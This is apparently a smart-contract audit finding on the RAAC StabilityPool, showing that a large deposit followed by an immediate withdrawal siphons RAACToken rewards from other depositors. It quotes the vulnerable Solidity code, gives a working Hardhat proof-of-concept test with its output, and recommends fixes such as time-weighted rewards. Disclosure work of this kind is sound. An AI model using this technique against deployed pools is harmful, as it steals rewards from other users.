Summary
The StabilityPool
contract allows large fund depositors to manipulate reward distribution, resulting in unfair allocation of RAACToken
rewards.
Vulnerability Details
The issue stems from how RAACToken
rewards are minted and distributed.
In the _update()
function, _mintRAACRewards()
is called, which triggers raacMinter.tick()
, minting RAACToken
for the StabilityPool
. However, there is no mechanism to track how long a user has held their deposit before becoming eligible for rewards.
function _update() internal {
_mintRAACRewards();
}
function _mintRAACRewards() internal {
if (address(raacMinter) != address(0)) {
raacMinter.tick();
}
}
The deposit()
function does not update any user-specific reward tracking information. This allows an attacker to deposit a large amount of funds, influencing the reward calculation, and then immediately withdraw them to claim an unfair share of the rewards.
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}
Similarly, in withdraw()
, the contract calls calculateRaacRewards()
, which determines the rewards for the caller. However, there are no restrictions preventing immediate withdrawals after a large deposit, meaning an attacker with sufficient funds can repeatedly deposit and withdraw, siphoning rewards from other users.
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
Poc
Add the following test to test/unit/core/pools/StabilityPool/StabilityPool.test.js
and execute it:
describe("Whale Deposit Withdrawal Bonus", function () {
describe("Init", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("1000");
const depositAmount2 = ethers.parseEther("100");
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("Withdraw Rewards", async function () {
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user2ExpectedRewardsBeforeAttack = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards Before Attack:",user2ExpectedRewardsBeforeAttack);
await stabilityPool.connect(user1).deposit(ethers.parseEther("1000"));
const user2ExpectedRewardsAfterAttack = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards After Attack:",user2ExpectedRewardsAfterAttack);
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1000"));
const user1ActualRewards = await raacToken.balanceOf(user1.address);
console.log("user1 Actual Rewards:",user1ActualRewards);
});
});
});
output:
StabilityPool
Whale Deposit Withdrawal Bonus
Init
user2 Expected Rewards Before Attack: 4368055555555555540n
user2 Expected Rewards After Attack: 409722222222222220n
user1 Actual Rewards: 4223484848484848469n
✔ Withdraw Rewards (5207ms)
Even if the attacker does not have a lot of funds, he can still execute the same call multiple times and steal a large amount of rewards.
Impact
A malicious user with substantial funds can repeatedly deposit and withdraw to manipulate the reward distribution, effectively siphoning rewards from other users. This leads to unfair distribution and potential financial losses for long-term depositors.
Tools Used
Manual Review
Recommendations
Introduce a reward vesting mechanism or modify the reward calculation to factor in deposit duration. Possible fixes include:
Implementing a time-weighted reward calculation, ensuring that users are rewarded based on how long their funds have been staked.
Introducing a minimum deposit duration before rewards can be claimed.
Implementing a gradual reward accrual system, rather than distributing rewards immediately based on snapshot balances.